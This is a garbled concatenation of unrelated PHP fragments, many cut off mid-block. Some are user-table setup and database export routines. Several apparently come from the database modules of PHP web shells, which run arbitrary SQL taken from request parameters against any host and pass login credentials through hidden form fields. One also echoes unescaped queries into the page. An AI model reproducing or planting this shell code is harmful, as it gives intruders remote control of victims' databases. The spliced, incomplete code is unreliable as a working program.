function get_fields() { global $tbl_users; global $fields, $field_props; array_splice($fields, 0); // clear out any existing field names array_splice($field_props, 0); // and properties $result = sql_query("select * from {$tbl_users} limit 1"); $nfields = sql_num_fields($result); for ($i = 0; $i < $nfields; $i++) { $field_name = sql_field_name($result, $i); $fields[] = $field_name; $field_props[$field_name]['type'] = sql_field_type($result, $i); $field_props[$field_name]['istext'] = $field_props[$field_name]['type'] == 'string' ? true : false; $field_props[$field_name]['isnum'] = preg_match('/(int|real)/', $field_props[$field_name]['type']) ? true : false; $field_props[$field_name]['isbool'] = $field_props[$field_name]['type'] == 'boolean' ? true : false; } sql_free($result); }
/* Then create it */ $cmd = "\nCREATE TABLE {$tbl_users}\n(\n /* The first four fields are required. Don't remove or reorder. */\n id int NOT NULL auto_increment,\n name varchar(30),\n password varchar(40),\n email varchar(75),\n\n /* The following fields are application-specific. However only int and varchar are editable. */\n\n\n PRIMARY KEY (id)\n);"; $r = sql_command($cmd); if ($r == -1) { // No need to localize this: Only the admin running this for the first time would see it. print "<p class=\"error\">Error creating the {$tbl_users} table.</p>\n"; print "<p class=\"error\">" . sql_error() . "</p>\n"; exit; } $nusers = 0; } /* Get the list of fields actually in the table. (Allows the addition of new fields later on) */ $result = sql_query("select * from {$tbl_users} limit 1"); $nfields = sql_num_fields($result); for ($i = 0; $i < $nfields; $i++) { $field_name = sql_field_name($result, $i); $fields[] = $field_name; $field_props[$field_name]['type'] = sql_field_type($result, $i); $field_props[$field_name]['istext'] = $field_props[$field_name]['type'] == 'string' ? true : false; $field_props[$field_name]['isnum'] = preg_match('/(int|real)/', $field_props[$field_name]['type']) ? true : false; } sql_free($result); /* Get localized field name */ function get_loc_field_name($name) { global $vocab; // Search for indexes "user_name", "user_password", etc, in the localization array. if (isset($vocab["user_" . $name])) { return get_vocab("user_" . $name); } // If there is no entry (likely if user-defined fields have been added), return itself.
} $pagination = "Limit <input type='text' id='dbLimit' value='" . html_safe($limit) . "' style='width:50px;'>\n\t\t\t\t\t\t\t\t<span class='button' onclick=\"db_pagination('prev');\">prev</span>\n\t\t\t\t\t\t\t\t<span class='button' onclick=\"db_pagination('next');\">next</span>\n\t\t\t\t\t\t\t\t<input type='hidden' id='dbDB' value='" . html_safe($db) . "'>\n\t\t\t\t\t\t\t\t<input type='hidden' id='dbTable' value='" . html_safe($table) . "'>\n\t\t\t\t\t\t\t\t<input type='hidden' id='dbStart' value='" . html_safe($start) . "'>\n\t\t\t\t\t\t\t\t"; } $querys = explode(";", $query); foreach ($querys as $query) { if (trim($query) != "") { $query_query = sql_query($type, $query, $con); if ($query_query != false) { $res .= "<p>" . html_safe($query) . "; <span class='strong'>[</span> ok <span class='strong'>]</span></p>"; if (!empty($pagination)) { $res .= "<p>" . $pagination . "</p>"; } if (!is_bool($query_query)) { $res .= "<table class='border dataView sortable tblResult'><tr>"; for ($i = 0; $i < sql_num_fields($type, $query_query); $i++) { $res .= "<th>" . html_safe(sql_field_name($type, $query_query, $i)) . "</th>"; } $res .= "</tr>"; while ($rows = sql_fetch_data($type, $query_query)) { $res .= "<tr>"; foreach ($rows as $r) { if (empty($r)) { $r = " "; } $res .= "<td>" . html_safe($r) . "</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else {
} $start = ((int) $p['pg'] - 1) * $config['SQLLimit']; $oracleLimit = $start + $config['SQLLimit']; $sBuff = ''; $con = sql_connect($p['type'], $p['host'], $p['user'], $p['pass']); foreach (explode(';', $p['code']) as $query) { if (trim($query) !== '') { $query = str_replace(array('{start}', '{limit}', '{oraclelimit}'), array($start, $config['SQLLimit'], $oracleLimit), $query); $sBuff .= '<hr /><p><b>' . tText('sq8', 'Executed') . ':</b> ' . hsc($query) . '; '; $res = sql_query($p['type'], $query, $con); if ($res !== false && !is_bool($res)) { $pag = genPaginator($p['pg'], -1, false) . '<br>'; $sBuff .= "<b>[ ok ]</b></p><br>{$pag}<table id='sort' class='explore sortable' style='width:100%;'><tr>"; $t = sql_num_fields($p['type'], $res, $con); for ($i = 0; $i < $t; $i++) { $sBuff .= '<th class="touch">' . @hsc(sql_field_name($p['type'], $res, $i)) . '</th>'; } $sBuff .= '</tr>'; while ($rows = sql_fetch_data($p['type'], $res)) { $sBuff .= '<tr>'; foreach ($rows as $r) { $sBuff .= '<td>' . @hsc($r) . '</td>'; } $sBuff .= '</tr>'; } $sBuff .= "</table><br>{$pag}"; } else { $sBuff .= '<b>[ ERROR ]</b></p><br>'; } } }
/* Then create it */ $cmd = "\nCREATE TABLE {$tbl_users}\n(\n /* The first four fields are required. Don't remove or reorder. */\n id int NOT NULL auto_increment,\n name varchar(30),\n password varchar(40),\n email varchar(75),\n\n /* The following fields are application-specific. However only int and varchar are editable. */\n\n\n PRIMARY KEY (id)\n);"; $r = sql_command($cmd); if ($r == -1) { // No need to localize this: Only the admin running this for the first time would see it. print "Error creating the {$tbl_users} table.<br>\n"; print sql_error() . "<br>\n"; exit; } $nusers = 0; } /* Get the list of fields actually in the table. (Allows the addition of new fields later on) */ $result = sql_query("select * from {$tbl_users} limit 1"); $nfields = sql_num_fields($result); for ($i = 0; $i < $nfields; $i++) { $field_name[$i] = sql_field_name($result, $i); // print "<p>field_name[$i] = $field_name[$i]</p>\n"; $field_type[$i] = sql_field_type($result, $i); // print "<p>field_type[$i] = $field_type[$i]</p>\n"; $field_istext[$i] = $field_type[$i] == 'string' ? true : false; // print "<p>field_istext[$i] = $field_istext[$i]</p>\n"; $field_isnum[$i] = preg_match('/(int|real)/', $field_type[$i]) ? true : false; // print "<p>field_isnum[$i] = $field_isnum[$i]</p>\n"; } sql_free($result); /* Get localized field name */ function get_loc_field_name($i) { global $field_name, $vocab; $name = $field_name[$i]; // $name = "name", "password", ...
$show_dbs = true; if (isset($_REQUEST['connect'])) { $con = sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass); $sqlcode = isset($_REQUEST['sqlcode']) ? ssc($_REQUEST['sqlcode']) : ""; if ($con !== false) { $show_form = false; $s_result .= "<form action='" . $s_self . "db' method='post'>\n\t\t\t\t\t<input type='hidden' name='sqlhost' value='" . $sqlhost . "' />\n\t\t\t\t\t<input type='hidden' name='sqlport' value='" . $sqlport . "' />\n\t\t\t\t\t<input type='hidden' name='sqluser' value='" . $sqluser . "' />\n\t\t\t\t\t<input type='hidden' name='sqlpass' value='" . $sqlpass . "' />\n\t\t\t\t\t<input type='hidden' name='sqltype' value='" . $sqltype . "' />\n\t\t\t\t\t<input type='hidden' name='connect' value='connect' />\n\t\t\t\t\t<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>" . $sqlcode . "</textarea>\n\t\t\t\t\t<p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />\n\t\t\t\t\t Separate multiple commands with a semicolon <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>\n\t\t\t\t\t</form>"; if (!empty($sqlcode)) { $querys = explode(";", $sqlcode); foreach ($querys as $query) { if (trim($query) != "") { $hasil = sql_query($sqltype, $query, $con); if ($hasil != false) { $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>" . $query . "; \n\t\t\t\t\t\t\t\t<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>\n\t\t\t\t\t\t\t\t<table class='explore sortable' style='width:100%;'><tr>"; for ($i = 0; $i < sql_num_fields($sqltype, $hasil); $i++) { $s_result .= "<th>" . @hss(sql_field_name($sqltype, $hasil, $i)) . "</th>"; } $s_result .= "</tr>"; while ($rows = sql_fetch_data($sqltype, $hasil)) { $s_result .= "<tr>"; foreach ($rows as $r) { if (empty($r)) { $r = " "; } $s_result .= "<td>" . @hss($r) . "</td>"; } $s_result .= "</tr>"; } $s_result .= "</table>"; } else { $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>" . $query . "; \n\t\t\t\t\t\t\t\t<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
} setcookie("c[" . $s_c_num . "]", $s_sql_cookie, time() + $s_login_time); } $s_show_form = false; $s_result .= "<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='sqlhost' value='" . hss($s_sql['host']) . "' />\n\t\t\t\t\t<input type='hidden' name='sqlport' value='" . hss($s_sql['port']) . "' />\n\t\t\t\t\t<input type='hidden' name='sqluser' value='" . hss($s_sql['user']) . "' />\n\t\t\t\t\t<input type='hidden' name='sqlpass' value='" . hss($s_sql['pass']) . "' />\n\t\t\t\t\t<input type='hidden' name='sqltype' value='" . hss($s_sql['type']) . "' />\n\t\t\t\t\t<input type='hidden' name='x' value='db' />\n\t\t\t\t\t<input type='hidden' name='connect' value='connect' />\n\t\t\t\t\t<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>" . hss($s_sqlcode) . "</textarea>\n\t\t\t\t\t<p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />\n\t\t\t\t\t Separate multiple commands with a semicolon <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>\n\t\t\t\t\t</form>"; if (!empty($s_sqlcode)) { $s_querys = explode(";", $s_sqlcode); foreach ($s_querys as $s_query) { if (trim($s_query) != "") { $s_hasil = sql_query($s_sql['type'], $s_query, $s_con); if ($s_hasil != false) { $s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>" . hss($s_query) . "; \n\t\t\t\t\t\t\t\t<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>"; if (!is_bool($s_hasil)) { $s_result .= "<table class='explore sortable' style='width:100%;'><tr>"; for ($s_i = 0; $s_i < sql_num_fields($s_sql['type'], $s_hasil); $s_i++) { $s_result .= "<th>" . @hss(sql_field_name($s_sql['type'], $s_hasil, $s_i)) . "</th>"; } $s_result .= "</tr>"; while ($s_rows = sql_fetch_data($s_sql['type'], $s_hasil)) { $s_result .= "<tr>"; foreach ($s_rows as $s_r) { if (empty($s_r)) { $s_r = " "; } $s_result .= "<td>" . @hss($s_r) . "</td>"; } $s_result .= "</tr>"; } $s_result .= "</table>"; } } else {
/** * Returns the field named for the given table in the * following format: * * (column1, column2, ..., columnn) */ function _backup_get_field_names($result, $num_fields) { /* if (function_exists('mysqli_fetch_fields') ) { $fields = mysqli_fetch_fields($result); for ($j = 0; $j < $num_fields; $j++) $fields[$j] = $fields[$j]->name; } else {*/ $fields = array(); for ($j = 0; $j < $num_fields; $j++) { $fields[] = sql_field_name($result, $j); } /* }*/ return '(`' . implode('`, `', $fields) . '`)'; }
return 1; } */ if (isset($p['sqlcode'])) { $sBuff = ''; $con = sql_connect($p['sqltype'], $p['sqlhost'], $p['sqluser'], $p['sqlpass']); foreach (explode(';', $p['sqlcode']) as $query) { if (trim($query) !== '') { $res = sql_query($p['sqltype'], $query, $con); if ($res !== false) { $sBuff .= '<hr /><p style="padding:0;margin:6px 10px;font-weight:bold;">' . hsc($query) . '; <span>[ ok ]</span></p>'; if (!is_bool($res)) { $sBuff .= '<table id="sort" class="explore sortable" style="width:100%;"><tr>'; for ($i = 0; $i < sql_num_fields($p['sqltype'], $res, $con); $i++) { $sBuff .= '<th>' . @hsc(sql_field_name($p['sqltype'], $res, $i)) . '</th>'; } $sBuff .= '</tr>'; while ($rows = sql_fetch_data($p['sqltype'], $res)) { $sBuff .= '<tr>'; foreach ($rows as $r) { //if ($r === '') $r = ' '; $sBuff .= '<td>' . @hsc($r) . '</td>'; } $sBuff .= '</tr>'; } $sBuff .= '</table>'; } } else { $sBuff .= '<p style="padding:0;margin:6px 10px;font-weight:bold;">' . hsc($query) . '; <span>[ error ]</span></p>'; }
function query_to_array($query, $conn) { $csv = array(); $resource = sql_query($query, $conn); if ($resource) { $row = array(); for ($i = 0; $i < sql_num_fields($resource); $i++) { $row[] = sql_field_name($resource, $i); } $csv[] = $row; } while ($item = sql_fetch_array($resource)) { $row = array(); for ($i = 0; $i < sql_num_fields($resource); $i++) { $row[] = $item[$i]; } $csv[] = $row; } return $csv; }